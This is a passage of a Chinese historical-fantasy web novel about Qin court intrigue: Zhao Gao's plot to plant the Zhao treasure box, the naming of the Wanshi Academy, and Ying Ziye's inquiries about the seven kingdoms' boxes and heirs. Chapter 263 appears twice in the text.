“是时候让它‘物归原主’了。”
他沉吟片刻,一条毒计已然成型。
“我记得,你们之前找到过一个落魄的赵国宗室后裔?叫…赵歇的?”
“是。”
“其人乃赵悼襄王远支,家道中落,混迹市井,颇有几分勇力,亦有些不安分的心思。”
掩日答道。
“便是他了。”
赵高轻笑一声,“找个合适的时机,安排一场‘巧遇’。”
“让咱们的人,扮作一位隐世的赵国遗老贤者,最好是那种对秦国心怀刻骨仇恨,却又德高望重的模样。”
他详细部署着,每一个细节都透着阴险。
“让这位贤者,在临终前,偶然遇到那赵歇,然后‘临终托付’,将赵国宝盒郑重地交给他。”
“告诉他,此乃赵国复国的希望,是正统赵王的信物!”
“持此物者,便是天命所归的赵王!”
“要他隐忍待机,联络旧部,他日必可推翻暴秦,光复赵国宗庙!”
掩日立刻领会。
“大人高明!”
“如此一来,宝盒便合理地到了赵歇手中,且与我罗网毫无干系。”
“那赵歇得了宝盒,又有复国野心的煽动,必然蠢蠢欲动,四处活动…届时,想不引起赢子夜的注意都难。”
“不止如此。”
赵高阴恻恻地补充。
“要让这件事,自然而然地泄露出去。”
“通过酒肆闲谈,流浪歌谣等方式,让江湖上、旧赵遗民中,都流传起‘赵氏有贤者得传国宝,天命在赵’的传言。”
“要把水搅浑,把所有人的目光,都吸引到这个赵歇和赵国宝盒之上!!!”
他要让这赵国宝盒,成为一个散发着诱人香气,却淬满了剧毒的鱼饵!
不仅钓赢子夜,更要钓出所有对苍龙七宿还有念想,对秦国还有异心的牛鬼蛇神!
“等到时机成熟。”
赵高最后冷冷道:“要么让赢子夜找到并夺走它,让他集齐更多宝盒,更深地卷入这漩涡中心…”
“要么,等那赵歇真成了些气候,再让他…彻底消失。”
无论哪种结果,对他赵高而言,都是有利无弊。
“属下明白!”
“定会安排得天衣无缝!”
掩日躬身领命,身影缓缓退入阴影之中,去执行计划。
密室中,赵高独自一人,看着跳跃的烛火,发出一阵极其轻微,却令人毛骨悚然的低笑。
乱吧,越乱越好。
只有这潭水彻底浑了,深藏在深渊下的毒蛇,才能更好地伺机而动,给予那高高在上的真龙……
致命一击!
……
数日之后。
邯郸故地,一处破败不堪,香火稀少的旧赵宗庙遗址附近。
夜色朦胧,细雨霏霏。
一个名叫赵歇的年轻人,正拖着疲惫的身躯,从市井打短工归来。
他衣衫褴褛,面容带着营养不良的菜色。
唯有一双眼睛,偶尔会流露出与其落魄外表不符的,不甘平庸的光芒。
他是赵国王室远支,到了他这一代,早已与平民无异,甚至更为困顿。
就在他经过宗庙残破的围墙时,一阵剧烈的咳嗽声吸引了他的注意。
只见一位白发苍苍,衣衫虽旧却浆洗得十分干净的老者,正依靠着断壁残垣,咳得撕心裂肺。
仿佛随时都会背过气去。
手中,紧紧攥着一个用破布包裹的长条物件。
赵歇虽自身艰难,却终究心存良善,见状连忙上前。
“老人家,您没事吧?”
“这雨天寒重,您怎独自在此?”
那老者抬起浑浊的双眼,看到赵歇,尤其是仔细辨认了他的面容后,眼中猛地爆发出一种奇异的光彩!
他一把抓住赵歇的手腕,力气大得惊人!
“像…真像…眉宇间有几分悼襄王的影子…”
老者激动地喃喃自语,又是一阵猛咳,嘴角甚至溢出了血丝。
赵歇一愣,悼襄王?
那是他早已没落,甚至不敢对外人提起的祖先。
“孩子…你…你是否姓赵?”
“可是王室宗亲?”
老者气息微弱,却死死盯着他。
赵歇心中一惊,下意识地点了点头。
“天意…天意啊!”
老者仿佛回光返照,将那个用破布包裹的物件猛地塞入赵歇怀中,双手颤抖着将其紧紧按住。
“老夫…乃赵国旧臣,隐姓埋名数十载,今日终…终于等到你了!”
他压低了声音,充满了无比的郑重和悲怆。
“此乃我赵国传承之宝!”
“是正统赵王的信物!”
“暴秦无道,灭我社稷…然赵氏血脉未绝,复国希望便在此物之上!”
赵歇彻底懵了,只觉得怀中之物冰冷沉重,他下意识地想推开。
“
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老人家,您…您是不是认错人了?”
“我……”
“绝不会错!”老者打断他,眼神狂热而决绝。
“拿着它!隐藏起来!联络旧部,隐忍待机!”
“持此物者,便是天命所归的赵王!”
“他日…他日必能光复我大赵宗庙!”
“切记!切记!绝不可让秦人知晓!”
“否则必有杀身之祸!!!”
说完这最后一句话,老者仿佛耗尽了所有生命力,头一歪,手臂垂下,彻底没了声息。
唯有那双眼睛还圆睁着,望着邯郸故地的方向。
赵歇抱着那冰冷的物件,看着怀中“气绝”的老者,整个人如同被雷击中,呆立在雨夜之中。
复国?
赵王?
这一切对他来说,如同天方夜谭!
但怀中那沉甸甸的物件,老者临死前那狂热郑重的嘱托,以及深埋在他心底那份对现状的不甘和对血脉的一丝隐秘骄傲,如同野草般疯狂滋生起来……
他颤抖着打开破布一角,里面赫然是一个样式古拙,雕刻着星辰与玄鸟图案的青铜盒!!
一股难以言喻的,古老尊贵的气息扑面而来!
赵歇的心脏疯狂跳动!
他猛地将宝盒重新裹好,警惕地四下张望,然后踉跄着消失在雨夜深处。
他没有注意到,在他离开后,那原本“气绝”的老者手指微不可察地动了一下,嘴角勾起一抹诡异的弧度。
随即,如同鬼魅般悄无声息地融入阴影。
彻底消失。
……
数日过后。
中车府令官署密室。
掩日的身影如烟般浮现,单膝跪地。
“大人,事情已办妥。”
“赵国宝盒已‘顺利’交予赵歇之手,过程自然,绝无破绽。”
“‘赵国遗老托付复国希望’的消息,也已通过特定渠道开始散播……”
赵高缓缓睁开闭目养神的眼睛,苍白脸上露出一丝满意的笑容。
“做得很好,让那赵歇先做几天复国美梦。”
“接下来,看好他,也看好那些闻着味儿聚过去的苍蝇。”
他顿了顿,语气转而变得无比凝重,眼中闪烁着深邃幽光。
“还有一事,至关重要。”
“阴阳家那边,东皇太一和月神对苍龙七宿的研究从未停止。”
“让潜伏在阴阳家的‘蛛卵’,给咱家盯紧了!”
“任何关于苍龙七宿破解的进展,任何异动,都必须第一时间报来!”
“苍龙七宿之谜,牵扯甚大,绝对…绝对不能出现任何意料之外的变故!必须掌控在咱家手中!”
赵高的声音尖细而冰冷,带着一种绝对的掌控欲。
“属下明白,这就去安排!”
掩日领命,身影再次无声消散。
密室重归寂静,赵高摩挲着指尖,眼中算计的光芒明灭不定。
棋盘已经布好,棋子也已落下。
现在,只需要耐心等待鱼儿…自己游进网中。
第261章 万世书院!
翌日。
赢子夜便在少府官员的陪同下,前往已竣工的帝宫之学。
学宫并未建于宫城之外。
而是选址于咸阳宫东侧,章台街与兰池坊交界处。
车驾尚未抵达,远远便能看到那一片气势恢宏,风格迥异于寻常宫阙的建筑群。
走近观看,更是令人震撼!
整座学宫规模极大,围墙高耸,以巨大的青黑色条石垒砌,庄重而肃穆。
主门阙高达十丈,门前矗立着十二尊巨大的青铜人像,并非兵士或神兽,而是分别手持书卷、尺规、农具、算盘、药杵等物,象征着不同的学问与技艺,充满了开明与务实的气息!
踏入大门,眼前豁然开朗!
首先是一片极为广阔的广场,以白玉石铺就,可容纳万人同时**。
广场尽头,是一座巍峨无比的主殿。
飞檐斗拱,雕梁画栋,殿顶覆盖着深蓝色的琉璃瓦,在阳光下流淌着智慧般的光泽!
匾额空悬,显然在等待命名。
而主殿之后,并非连绵的宫殿,而是错落有致地分布着数十栋风格各异,功能不同的建筑。
藏书楼高耸入云,可见其内书架林立。
演武场宽阔平坦,器械齐全。
观测台拔地而起,可仰观天象。
还有专门研习律法、医药、农耕、工造、算数、乃至百家辩经的专属馆舍!!!
其间廊桥连接,绿树成荫,溪流潺潺,既有学堂的庄严,又不失园林的雅致。
其设计之精妙,规模之宏大,气魄之雄伟,远超当今任何一家私学或官学!
有囊括四海之学,包罗百家之象!!!
足以青史留名,流芳百世!
随行官员无不面露自豪与惊叹之色。
少司命清冷的眼眸中也闪过一丝讶异。
赢子夜漫步于这宏伟的学宫之中,抚摸着那镌刻着百家经典摘要的石壁,看着那专门为辩论交流而设的“论道坛”,心中亦不免生出几分波澜。
父皇将此重任交予他,其意深远。
来到那主殿之前,所有随行人员及工匠皆屏息凝神,等待着这位年轻的主事者为学宫赐名。
内侍早已备好笔墨,呈上匾额。
赢子夜略作沉吟,提笔蘸墨,手腕悬动,笔走龙蛇。
四个苍劲有力,蕴含帝道威严又带着包容气象的大字跃然匾上——
万世书院!
笔落,众人皆低声念诵。
“万世书院?”
赢子夜放下笔,目光扫过众人,声音清朗,传遍广场。
“万,乃无疆之数,包举天地,昭示帝国一统之志。”
“世,乃代代相承,薪火不绝,寓大秦基业长存万世之愿。”
“书,载道明法,聚群贤之智,开万法之源。”
“院,则集天下英才,议帝国之策,成治世之器!”
“此为万世书院,立意在承天命、定人道、昭示后世,使大秦之道不止于一时,而垂范千秋万世!”
他遥指这片宏伟建筑,声蕴乾坤。
“此地,不当只为秦之官学,而当如昔日齐之稷下,汇天下英才,容百家争鸣!”
“无论出身贵贱,无论师承何派,凡有真才实学,皆可于此研习、辩论、精进!”
“为往圣继绝学,为帝国育栋梁!”
“此宫之名,便为——”
“万世书院!!”
“愿此学宫,能成天下学问之宗,文明之源,佑我大秦,万世永昌!”
声音落下,全场寂静片刻,随即爆发出由衷的赞叹与欢呼!
“万世书院!好名字!”
“公子殿下胸怀四海,立意高远!”
“彩!”
少府官员更是激动不已!
此名一出,这座学宫的格调与使命,瞬间超越了单纯的官学,达到了一个前所未有的高度!
赢子夜负手而立,望着“万世书院”那四个大字,眼中光芒闪烁。
这里,或许将成为他实现诸多抱负的,又一个起点。
……
傍晚。
丞相府。
李斯听闻赢子夜来访,立刻亲自出迎,将其引入静室奉水。
对于这位权势日益炽盛,深得帝心的公子,李斯不敢有丝毫怠慢。
熏香袅袅中,赢子夜并未过多寒暄,放下杯盏,目光平静地看向李斯。
“今日前来,是有一事想请教丞相。”
李斯微微躬身。
“殿下请问,老臣知无不言。”
“听闻丞相与韩非,曾是同窗?”赢子夜语气平淡,仿佛只是随口一问。
李斯眼中闪过一丝极细微的复杂之色,随即恢复恭谨。
“是。”
“臣与韩非,曾一同拜在荀子门下求学。”
“韩非才学,确在臣之上,尤擅法理权谋。”
赢子夜颔首,切入正题。
“那当年韩非入秦,直至后来被囚于云阳狱中…期间,丞相可曾留意,他身边是否携带有…特别之物?”
“譬如,样式古旧的青铜盒匣之类?”
李斯闻言,持盏的手微微一顿,眼中露出追忆和思索之色。
他何等精明,立刻猜到赢子夜此问,必然与那传闻的苍龙七宿宝盒有关。
他沉吟片刻,缓缓道:“殿下所言,可是指…可能与苍龙七宿相关的宝盒?”
赢
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子夜并不否认。
“丞相果然知晓。”
李斯苦笑一下。
“此事当年在高层并非绝密。”
“陛下横扫六合,集天下权柄,对此等象征天命之物,自然亦有关注。”
“当年韩非入秦,名义上是为存韩献策,实则…陛下与老臣亦曾怀疑,他是否携带有韩国传承的宝盒,欲行他谋。”
他仔细回忆道。
“故而,从韩非踏入秦境起,其一行人的车马行李,便已在严密监控之下。”
“沿途皆有精锐兵士‘护送’,实则亦有监视搜查之责。”
“直至入咸阳,住进驿馆,其所有物品,明里暗里,都被仔细检查过数遍。”
李斯语气肯定地说道。
“臣可断言,当时韩非身边,绝无殿下所描述的那类青铜宝盒。”
“其随身之物,多是书简笔墨,以及一些韩王赠予陛下的普通贡礼。”
赢子夜黑眸微眯。
“入秦之后呢?他在狱中之时?”
李斯摇头。
“云阳狱看守森严,更甚于咸阳狱。”
“韩非在狱中,除基本衣食笔墨外,别无长物。”
“就这,还是因为陛下惜其才,允其著书。”
“其后…韩非身死,狱中所有遗物皆被反复查验封存,确无宝盒踪迹。”
静室内陷入短暂的沉默。
赢子夜指尖无意识地轻叩桌面。
李斯的话,与他之前的推测基本吻合。
以父皇和李斯的手段,若宝盒真在韩非身上,绝无可能遗漏。
那么,最大的可能性便只剩下一个。
宝盒,根本就没被韩非带入秦国!
而是在更早的时候,就被转移了!
而最有可能接手宝盒的人……
赢子夜脑海中浮现出那个总是一袭青衫,智计百出的儒雅身影。
张良!
韩非最信任的师弟!
韩非自知入秦风险极大,如此重要的东西,他绝不会带在身边冒险。
那么,将其交给绝对信任,且同样聪慧绝顶,善于隐藏的张良保管,无疑是最好的选择!
“看来…丞相对此也并不知情。”赢子夜缓缓开口,语气听不出喜怒。
李斯躬身道:“老臣无能,未能替陛下与殿下分忧此事。”
“无妨。”赢子夜站起身。
“今日叨扰丞相了。”
“殿下言重了。”
赢子夜走出丞相府,抬头望向小圣贤庄的大致方向,眼中闪过一丝锐利的光芒。
张良…小圣贤庄…
一切的线索,似乎最终都指向了那里。
是时候,去会一会这位“谋圣”了。
第262章 触碰那最核心的秘密!
回到府中时,已是华灯初上。
赢子夜径直走入书房,屏退左右,只留下赵弋苍。
“张良。”他指尖敲了敲桌面,声音低沉。
“小圣贤庄那位三当家…加派人手,给我盯紧他。”
“其一举一动,接触何人,去往何处,每日报于我知。”
“记住,要绝对隐秘,此人智计超群,绝非易与之辈,万不可打草惊蛇!”
赵弋苍神色一凛,立刻领命。
“诺!卑职亲自去安排最顶尖的夜枭,绝不会让他察觉。”
“去吧。”
赵弋苍退下后,赢子夜揉了揉眉心,正准备处理今日积压的文书,书房门却被轻轻敲响。
“进。”
门被推开,进来的却不是侍从,而是吕雉和吕素两姐妹。
少司命也跟在她们身后。
只见吕雉手中端着一个精致的食盒,吕素则怯生生地跟在她身后。
“恩公,”吕雉微微福礼,声音温婉,“见您晚膳时分仍在忙碌,妾身与妹妹便自作主张,准备了些清淡小食,请您和夫人尝尝。”
说着,她打开食盒,里面是几样看起来颇为用心的菜肴。
虽非山珍海味,却色香味俱全,显然是花了心思的。
赢子夜见状,微微一怔,随即道:“这些琐事,交由府中下人便可,你们不必亲自操劳。”
吕雉却坚持道:“恩公与夫人于我姐妹有再造之恩,些许微末心意,难报万一。”
“若能亲手为恩公与夫人准备餐食,妾身心中方能稍安。”
她眼神恳切,带着不容拒绝的坚持。
一旁的少司命静静看着,紫眸如水,并未说话。
赢子夜见她如此,也不好再推拒,便点了点头。
“也罢,放下吧。有劳了。”
吕雉脸上露出欣喜之色,将菜肴一一取出摆好,却并未立刻离开,反而拉着妹妹在一旁垂手侍立,一副要伺候用膳的模样。
赢子夜略感不适,道:“你二人也坐下一起用些吧。”
吕雉连忙摇头。
“妾身不敢。”
“尊卑有别,妾身姐妹能侍奉恩公左右,已是天大的福分。”
赢子夜放下筷子,看着她二人。
“本公子既带你们回来,便会妥善安置。”
“过几日,便让人在城中寻一处清静雅致的宅院,再拨些可靠的下人过去,保你们一世衣食无忧,平安喜乐。”
他本意是让她们有自己的生活,而非为奴为婢。
岂料吕雉闻言,脸色瞬间变得苍白,眼圈一红,竟直接跪了下来,声音带着哭腔!!
“恩公!可是…可是嫌弃我们姐妹粗鄙,要赶我们走吗?”
吕素见姐姐跪下,也慌忙跟着跪下,小声啜泣起来。
赢子夜顿感头疼。
“并非此意…”
“若非恩公嫌弃,”吕雉抬起头,泪眼婆娑,却异常执拗,“为何非要让我们姐妹离府?”
“公子大恩,妾身此生无以为报,唯愿留在府中,为奴为婢,侍奉公子与夫人左右,以求心安!”
“求公子成全!”
她说着,重重磕下头去。
赢子夜看着跪在地上的姐妹花,一个刚烈执拗,一个柔弱可怜,一时间竟不知该如何是好。
他并不习惯处理这种情感纠葛。
就在这时,一个带着几分慵懒和戏谑的女声从门口传来。
“哟~好一出感人至深的报恩戏码呢。”
只见焰灵姬倚在门框上,一身红衣似火,嘴角噙着一抹玩味的笑容,看着跪地的吕氏姐妹和略显无奈的赢子夜。
她如今伤势渐愈,又被变相软禁于此。
心态反倒放开了些,时而会出言调侃。
“不过嘛,”焰灵姬美目流转,落在吕雉那梨花带雨却难掩决绝的脸上,轻笑道。
“依我看呐,吕雉妹妹这哪是想为奴为婢报答恩情?”
“分明是这一路见识了咱们公子的英姿和权势,芳心暗许,想着近水楼台先得月,巴不得能留在公子身边,他日也好混个名分。”
“比如…做个妾室什么的?”
此话一出,吕雉的俏脸瞬间涨得通红,连耳根都红透了!
仿佛被说破了最隐秘的心事,羞得无地自容。
想要反驳,却嗫嚅着说不出完整的话。
吕素更是把头埋得极低,脖颈都染上了粉色。
赢子夜也被焰灵姬这直白的话弄得有些尴尬,轻咳一声:“休得胡言!”
焰灵姬却不怕他,反而笑得花枝乱颤。
“是不是胡言,某人心里清楚得很呐~”
就在这时。
一直沉默不语的少司命,忽然抬起清冷的眸子,看了看羞窘不堪的吕雉,又看了看略显尴尬的赢子夜,用她那特有的,平静无波的语调,轻声说了一句。
“夫君若想纳妾,妾身…并无异议。”
“……”
刹那间,整个书房安静得落针可闻。
赢子夜彻底愣住,看向少司命。
只见她说完后便低下头,继续小口吃着菜肴。
仿佛刚才那句话只是“今天的菜有点咸”一样平常。
吕雉和吕素更是惊呆了,难以置信地看向少司命,又偷偷看向赢子夜。
焰灵姬也挑了挑眉,似乎没想到这位清冷寡言的正牌夫人会来这么一句。
随即露出了更加玩味和看好戏的笑容。
赢子夜看着眼前这诡异的场面,只觉得一个头两个大。
他揉了揉额角,最终无奈地叹了口气:“都起来吧。”
他对吕氏姐妹道:“既然你们执意如此…便暂且留在府中帮忙吧。”
“宅院之事,日后再说。”
吕雉闻言,顿时喜出望外,也顾不上羞涩了,连忙拉着妹妹磕头谢恩!
“多谢公子!多谢夫人!”
只是这“夫人”二字出口,气氛似乎又变得微妙了几分。
赢子夜挥挥手,让她们先退下。
看着姐妹俩如蒙大赦,又带着窃喜离开的背影。
再看看一旁看戏的焰灵姬和依旧淡然的少司命,赢子夜忽然觉得,这府里……似乎要越来越热闹了。
……
翌日清晨。
赢子夜正在书房翻阅关于万世书院的规
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划草案,赵弋苍的身影便如同鬼魅般悄无声息地出现在房内。
“主上,赵地急报。”
赵弋苍的声音压得很低。
“关于赵国宝盒的流言,已经开始在邯郸故地及周边传播开来。”
“内容与您预料的相差无几,皆是‘赵氏得宝,天命归赵’之类,鼓动复辟的言论。”
“源头隐秘,传播速度却很快,显然背后有推手。”
赢子夜放下手中的竹简,脸上并无意外之色,只是眼中闪过一丝冷光。
“果然来了。”
“盯着流言的走向,特别是那个叫赵歇的宗室后裔,看看都有哪些人会主动靠近他。”
“诺。”
“已经加派了人手,绝不会让他脱离视线。”
赵弋苍禀报完,并未立刻离开,而是垂首侍立。
赢子夜身体微微后靠,目光深沉,指尖在桌面上轻轻敲击,发出沉闷的节奏声。
苍龙七宿……
七枚宝盒,如同散落在历史洪流中的星辰,如今却渐渐浮出水面。
秦、燕、齐、魏四国的宝盒,已被父皇掌控。
那是帝国的核心,谁也无法轻易触碰。
楚之宝盒,则已握在自己手里。
从那群神秘**中夺得,算是孤身入局后的第一步。
韩之宝盒……
极大可能落在张良手中。
韩非入秦,未曾带入,那就只会留给他最信任的师弟。
张子房,此人智谋深沉,绝非易与!
赵之宝盒,表面上落在赵歇手中,实则却是有幕后推手放出的诱饵。
那赵歇,只怕只是个被推上台的棋子。
棋局背后,才是真正的杀机!
而作为传人的七国血脉,也并非尽数湮灭。
其他几国的传人,早在帝国一统过程中,便已被黑冰台或明或暗地控制、监视起来,以防万一。
唯有这楚、韩、赵三家,因各种缘由,尚未完全掌握。
项羽在逃。
剿灭只是时间问题。
赵歇是鱼饵,随时可收网。
唯独这红莲……
她不仅是韩国公主,更是流沙的赤练,卫庄的心腹。
卫庄及其流沙组织,实力强横,行踪诡秘,且与帝国虽是合作关系,但并非轻易能动之人。
“若开启苍龙七宿之谜,当真需要集齐七国宝盒与七国血脉传人……”
赢子夜心中思忖,眼神变得深邃起来。
“只是不知,这开启的过程中,这些作为‘钥匙’的传人,是否会有什么…性命之危?”
若是需要献祭之类的手段,那处理起来便需更加谨慎。
红莲的身份特殊,动她,很可能直接引发与卫庄乃至整个流沙的正面冲突。
时机未到,不宜节外生枝。
此事,或许有一人能给出更准确的答案。
赢子夜猛地站起身。
“备车,去蜃楼。”
他要去见一见那位被阴阳家奉若神明,对苍龙七宿研究最为深入的……
东皇太一。
或许,只有从他那里,才能得到关于苍龙七宿真正核心的机密!
第263章 七国宝盒传人之选!
蜃楼深处。
穹顶之上是阴阳家以巨**力模拟出的周天星斗。
幽蓝的星光缓缓流转,将这座庞大如宫殿般的密室映照得既神秘又肃穆。
空气里,弥漫着古老檀香与一种难以言喻,仿佛来自星辰本身的冰冷气息。
赢子夜负手而立。
玄色衣袍在微光中几乎与阴影融为一体。
唯有那双深邃的眼眸,锐利如刀,直视着前方高台上那尊宛若神祇的身影——
东皇太一。
他并未寒暄,开口便是石破天惊的一问,声音在空旷的殿内清晰回荡。
“东皇阁下,本公子有一事,关乎苍龙七宿。”
“若集齐七国宝盒与血脉传人,开启那最终之谜时……”
“那些作为‘钥匙’的传人,是否会因此殒命?”
这是他最深层的顾虑。
若需献祭性命,那红莲之事便需从长计议,甚至整个计划都将面临颠覆。
高台上,那笼罩在宽大黑袍与诡异黑色面具下的身影微微一动。
东皇太一的声音透过面具传来,低沉、缥缈,仿佛自带回响,不似人声。
“公子多虑了。”
“开启之力,源于星辰与宝盒本身,传人所需付出的,仅是一缕精血为引,并不会伤及性命根本。”
赢子夜紧绷的心弦微微一松,但眼神依旧凝重。
他向前踱了一步,追问道。
“既如此,如何确定一人便是那命定的传人?”
“本公子观之,无论是那项氏少主,还是韩室红莲,抑或赵地宵小,其身上并无特殊**印记,身份亦是天差地别,有皇室贵胄,亦有落魄旧臣。”
“这传人之说,依据何在?”
星光似乎在他问出这句话时变得更加明亮了些。
东皇太一并未立刻回答。
下一刻。
那高大的身影竟无声无息地从高台上飘落。
宛如一片没有重量的幽暗之羽,悄无声息地落在了赢子夜身前丈许之地。
即便离得如此之近,那面具下的双眼依旧如同深不见底的寒潭,窥探不到一丝情绪。
“公子请看。”
东皇太一缓缓抬起一只手,宽大的袖袍中露出的手指苍白修长。
随着他的动作,周围星辰图谱骤然亮起!
无数光点汇聚,在他们二人之间勾勒出一幅浩瀚繁复的星辰运转图景。
七颗主星尤为耀眼。
各自对应着一个若隐若现的青铜盒虚影。
“七国宝盒,并非凡物。”
“它们本身,便各自蕴含了一部分源自苍龙七宿的星辰之力。”
东皇的声音带着一种古老的韵律。
“所谓传人,并非天生注定。”
“一者,若身负该国最纯粹之皇室血脉,因其先祖之血早已在宝盒七分之时便融入其中,血脉共鸣,自成钥匙。”
星辰图景中,代表各国宝盒的光影微微颤动,仿佛与冥冥中的血脉之力相互呼应!
“二者。”
东皇太一继续道,指尖轻点,一颗星辰的光辉骤然放大,映照出宝盒上繁复的纹路。
“若有无上天纵之才,能凭自身悟性,勘破宝盒之上蕴含的力量奥秘,并将其引导入体,那么,即便他出身微末,亦可成为宝盒认可的执掌者,亦即传人。”
赢子夜眼中精光一闪,立刻捕捉到了关键!
“依阁下所言,若得宝盒,再寻一悟性超绝之人令其参悟,岂非同样能造就出一位传人?”
“何必执着于寻找那些流落各处的旧王室血脉?”
东皇太一缓缓颔首,却又缓缓摇头,动作带着一种非人的滞涩感。
“理论可行,然其条件…极为苛刻。”
他声音里多了一丝难以察觉的叹息。
“其一,所需时光漫长,或许十年,或许百年,方能窥得门径。”
“苍龙七宿之力,岂是易与?”
“其二,所需之人,非仅聪慧,需是百年难遇,乃至千年难遇之奇才,心性、悟性、机缘缺一不可!”
他转向赢子夜,面具似乎正洞穿赢子夜的心思。
“故而,最简之法,自是寻那流有旧日王室之血者,血脉牵引,最是便捷。”
“其次,便是寻那已被宝盒认可,已然存在的传人。”
“最下之策,方是自行培养……”
“其难,无异于登天!!”
赢子夜闻言,彻底恍然。
所有线索在此刻贯通,原来如此!
血脉是捷径,悟性是正道,而自行培养则近乎渺茫。
这便解释了为何各方势力都在不遗余力地寻找那些六国遗族。
他沉吟片刻,决定抛出部分情报以换取更多合作。
“既如此,有一事或需阁
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下知晓。”
“据本公子所得消息,赵国故地,近日有流言兴起,称有赵氏遗贤得传国宝盒,天命在赵。”
东皇太一静立无声,仿佛早已料到。
赢子夜继续道。
“本公子欲派人前往探查,为免打草惊蛇,或需阴阳家从旁协助,派出一位精通伪装探查之人,混入那赵歇身边。”
“可。”
东皇太一答得没有丝毫犹豫。
“星魂麾下,有大司命精于此道,且擅幻术控心,可助公子辨明真伪,监控动向。”
“善。”
赢子夜点头,随即话锋一转,语气变得深沉。
“至于韩国传人,红莲,亦即流沙之赤练……”
“此人身份特殊,牵扯流沙与卫庄。”
“招揽之事,不必阴阳家插手,本公子会亲自处理。”
东皇太一微微躬身,竟是施了一礼。
“有劳公子。”
这表明在阴阳家的谋划中,集齐传人与宝盒的优先级极高,甚至暂时凌驾于派系之别之上。
“而韩国宝盒。”
东皇太一再次开口,声音低沉。
“据阴阳家多年探寻,当年韩非入秦前,极有可能将其交给了他最信任的师弟,张良。”
“此物,十之**,仍在张良手中。”
“与本公子所想,不谋而合。”
赢子夜嘴角勾起一抹冷冽的弧度。
“小圣贤庄,儒家三当家……本公子已布下暗眼,只待他露出破绽。”
“阴阳家在桑海亦有些许人手。”
东皇太一道。
“公子若有需,尽可调度。”
“苍龙七宿之事,乃阴阳家与陛下共同之所愿,阴阳家必当竭力!”
这便是明确的站队与承诺了。
赢子夜深深看了东皇太一一眼,似乎想穿透那层面具,看清其后真正的意图。
最终,他只是颔首。
“本公子明白了。”
“若有需,自会告知。”
说完,他不再多言,转身拂袖,玄衣身影一步步融入幽暗的廊道之中。
唯有脚步声渐行渐远,最终彻底消失。
密室重归寂静,只余下漫天星辰依旧缓缓流转,映照着东皇太一那亘古不变般的神秘身影。
他缓缓抬起手。
一枚幽暗的棋子虚影在指尖凝聚,又悄然湮灭于星光之下。
第263章 七国宝盒传人之选!
蜃楼深处。
穹顶之上是阴阳家以巨**力模拟出的周天星斗。
幽蓝的星光缓缓流转,将这座庞大如宫殿般的密室映照得既神秘又肃穆。
空气里,弥漫着古老檀香与一种难以言喻,仿佛来自星辰本身的冰冷气息。
赢子夜负手而立。
玄色衣袍在微光中几乎与阴影融为一体。
唯有那双深邃的眼眸,锐利如刀,直视着前方高台上那尊宛若神祇的身影——
东皇太一。
他并未寒暄,开口便是石破天惊的一问,声音在空旷的殿内清晰回荡。
“东皇阁下,本公子有一事,关乎苍龙七宿。”
“若集齐七国宝盒与血脉传人,开启那最终之谜时……”
“那些作为‘钥匙’的传人,是否会因此殒命?”
这是他最深层的顾虑。
若需献祭性命,那红莲之事便需从长计议,甚至整个计划都将面临颠覆。
高台上,那笼罩在宽大黑袍与诡异黑色面具下的身影微微一动。
东皇太一的声音透过面具传来,低沉、缥缈,仿佛自带回响,不似人声。
“公子多虑了。”
“开启之力,源于星辰与宝盒本身,传人所需付出的,仅是一缕精血为引,并不会伤及性命根本。”
赢子夜紧绷的心弦微微一松,但眼神依旧凝重。
他向前踱了一步,追问道。
“既如此,如何确定一人便是那命定的传人?”
“本公子观之,无论是那项氏少主,还是韩室红莲,抑或赵地宵小,其身上并无特殊**印记,身份亦是天差地别,有皇室贵胄,亦有落魄旧臣。”
“这传人之说,依据何在?”
星光似乎在他问出这句话时变得更加明亮了些。
东皇太一并未立刻回答。
下一刻。
那高大的身影竟无声无息地从高台上飘落。
宛如一片没有重量的幽暗之羽,悄无声息地落在了赢子夜身前丈许之地。
即便离得如此之近,那面具下的双眼依旧如同深不见底的寒潭,窥探不到一丝情绪。
“公子请看。”
东皇太一缓缓抬起一只手,宽大的袖袍中露出的手指苍白修长。
随着他的动作,周围星辰图谱骤然亮起!
无数光点汇聚,在他们二人之间勾勒出一幅浩瀚繁复的星辰运转图景。
七颗主星尤为耀眼。
各自对应着一个若隐若现的青铜盒虚影。
“七国宝盒,并非凡物。”
“它们本身,便各自蕴含了一部分源自苍龙七宿的星辰之力。”
东皇的声音带着一种古老的韵律。
“所谓传人,并非天生注定。”
“一者,若身负该国最纯粹之皇室血脉,因其先祖之血早已在宝盒七分之时便融入其中,血脉共鸣,自成钥匙。”
星辰图景中,代表各国宝盒的光影微微颤动,仿佛与冥冥中的血脉之力相互呼应!
“二者。”
东皇太一继续道,指尖轻点,一颗星辰的光辉骤然放大,映照出宝盒上繁复的纹路。
“若有无上天纵之才,能凭自身悟性,勘破宝盒之上蕴含的力量奥秘,并将其引导入体,那么,即便他出身微末,亦可成为宝盒认可的执掌者,亦即传人。”
赢子夜眼中精光一闪,立刻捕捉到了关键!
“依阁下所言,若得宝盒,再寻一悟性超绝之人令其参悟,岂非同样能造就出一位传人?”
“何必执着于寻找那些流落各处的旧王室血脉?”
东皇太一缓缓颔首,却又缓缓摇头,动作带着一种非人的滞涩感。
“理论可行,然其条件…极为苛刻。”
他声音里多了一丝难以察觉的叹息。
“其一,所需时光漫长,或许十年,或许百年,方能窥得门径。”
“苍龙七宿之力,岂是易与?”
“其二,所需之人,非仅聪慧,需是百年难遇,乃至千年难遇之奇才,心性、悟性、机缘缺一不可!”
他转向赢子夜,面具似乎正洞穿赢子夜的心思。
“故而,最简之法,自是寻那流有旧日王室之血者,血脉牵引,最是便捷。”
“其次,便是寻那已被宝盒认可,已然存在的传人。”
“最下之策,方是自行培养……”
“其难,无异于登天!!”
赢子夜闻言,彻底恍然。
所有线索在此刻贯通,原来如此!
血脉是捷径,悟性是正道,而自行培养则近乎渺茫。
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东皇太一静立无声,仿佛早已料到。
赢子夜继续道。
“本公子欲派人前往探查,为免打草惊蛇,或需阴阳家从旁协助,派出一位精通伪装探查之人,混入那赵歇身边。”
“可。”
东皇太一答得没有丝毫犹豫。
“星魂麾下,有大司命精于此道,且擅幻术控心,可助公子辨明真伪,监控动向。”
“善。”
赢子夜点头,随即话锋一转,语气变得深沉。
“至于韩国传人,红莲,亦即流沙之赤练……”
“此人身份特殊,牵扯流沙与卫庄。”
“招揽之事,不必阴阳家插手,本公子会亲自处理。”
东皇太一微微躬身,竟是施了一礼。
“有劳公子。”
这表明在阴阳家的谋划中,集齐传人与宝盒的优先级极高,甚至暂时凌驾于派系之别之上。
“而韩国宝盒。”
东皇太一再次开口,声音低沉。
